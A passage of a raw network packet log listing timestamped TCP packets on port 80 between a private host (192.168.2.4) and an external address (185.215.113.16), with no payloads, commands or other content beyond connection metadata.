Nov 20, 2024 12:58:02.468230009 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.468241930 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.468252897 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.468266010 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.468272924 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.468286991 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.468307972 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.468314886 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.468323946 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.468348026 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.469024897 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.469041109 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.469055891 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.469069958 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.469079971 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.469096899 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.469108105 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.469120979 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.469130993 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.469144106 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.469158888 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.469183922 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.470006943 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.470022917 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.470037937 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.470052004 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.470063925 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.470076084 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.470089912 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.470098019 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.470114946 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.470123053 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.470138073 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.470153093 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.470165968 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.470186949 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.470978975 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.471004009 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.471024036 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.471030951 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.471039057 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.471052885 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.471064091 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.471076965 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.471087933 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.471102953 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.471117973 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.471128941 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.471139908 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.471167088 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.471905947 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.471920967 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.471935034 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.471942902 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.471951008 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.471961021 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.471978903 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.471986055 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.471998930 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.472026110 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.472040892 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.474296093 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.474311113 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.474325895 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.474350929 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.474390030 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.474581957 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.474596024 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.474620104 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.474643946 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.474745035 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.474777937 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.475366116 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.475423098 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.476409912 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.476424932 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.476438999 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.476457119 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.476468086 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.476485014 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.476492882 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.476505995 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.476521015 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.476533890 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.476533890 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.476546049 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.476563931 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.476576090 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.476589918 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.476608992 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.476615906 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.476627111 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.476640940 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.476650953 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.476665020 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.476680040 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.476705074 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.476713896 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.476715088 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.476731062 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.476741076 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.476751089 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.476766109 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.476779938 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.476792097 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.476802111 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.476815939 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.476826906 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.476840973 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.476854086 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.476874113 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.485833883 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.485853910 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.485867977 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.485949993 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.485970020 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.485985041 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.486007929 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.486031055 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.486079931 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.486097097 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.486177921 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.486639977 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.486655951 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.486674070 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.486687899 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.486715078 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.487083912 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.487097979 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.487116098 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.487127066 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.487139940 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.487145901 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.487157106 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.487198114 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.487226009 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.487392902 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.487406969 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.487415075 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.487474918 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.487546921 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.487560987 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.487575054 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.487588882 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.487596035 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.487607956 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.487620115 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.487631083 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.487643957 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.487656116 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.487682104 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.488477945 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.488493919 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.488508940 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.488521099 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.488535881 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.488543987 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.488554001 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.488567114 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.488585949 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.488593102 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.488604069 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.488615990 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.488626003 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.488641977 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.488655090 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.488667965 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.488684893 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.488707066 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.489489079 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.489506006 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.489521027 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.489532948 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.489547968 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.489554882 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.489563942 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.489578009 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.489588022 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.489602089 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.489610910 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.489624023 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.489634991 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.489649057 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.489659071 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.489686012 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.490360975 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.490377903 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.490391970 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.490406990 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.490524054 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.490524054 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.518018007 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.518035889 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.518052101 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.518090010 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.518130064 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.518151045 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.518166065 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.518188000 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.518210888 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.518517971 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.518568993 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.518646002 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.518661022 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.518680096 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.518688917 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.518697977 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.518714905 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.518728018 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.518758059 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.519399881 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.519413948 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.519428968 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.519443035 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.519454002 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.519468069 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.519481897 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.519493103 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.519505978 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.519519091 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.519531965 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.519541979 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.519567966 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.520061016 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.520076036 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.520103931 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.520117998 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.520199060 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.520214081 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.520256042 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.520267963 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.520343065 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.520359039 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.520374060 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.520384073 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.520395994 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.520415068 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.521322012 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.521337032 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.521353006 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.521383047 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.521383047 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.521409035 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.521493912 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.521508932 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.521524906 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.521541119 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.521554947 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.521554947 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.521568060 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.521575928 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.522496939 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.522512913 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.522527933 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.522543907 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.522561073 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.522577047 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.522591114 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.522591114 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.522855043 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.522855043 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.523951054 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.523967028 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.523983002 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.523994923 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.524010897 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.524018049 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.524036884 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.524044991 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.524054050 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.524068117 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.524077892 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.524091005 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.524101973 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.524123907 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.524812937 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.524828911 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.524843931 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.524858952 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.524868965 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.524880886 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.524893999 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.524914026 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.524920940 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.524935961 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.524950981 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.525342941 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.525357962 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.525378942 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.525393009 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.525774956 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.525790930 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.525811911 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.525835037 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.525952101 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.525968075 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.525989056 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.525996923 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.526005030 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.526017904 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.526043892 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.526067972 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.526845932 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.526860952 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.526875973 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.526886940 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.526892900 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.526911974 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.526920080 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.526936054 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.526952982 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.526964903 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.526979923 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.526997089 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.527012110 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.527028084 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.527056932 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.527072906 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.527801991 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.527817965 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.527841091 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.527848005 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.527862072 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.527873039 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.527884007 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.527899981 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.527951002 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.527966976 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.527987003 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.527998924 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.567678928 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.567698002 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.567714930 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.567738056 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.567755938 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.567915916 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.567933083 CET	80	49761	185.215.113.16	192.168.2.4
Nov 20, 2024 12:58:02.567955017 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.567982912 CET	49761	80	192.168.2.4	185.215.113.16
Nov 20, 2024 12:58:02.568219900 CET	80	49761	185.215.113.16	192.168.2.4
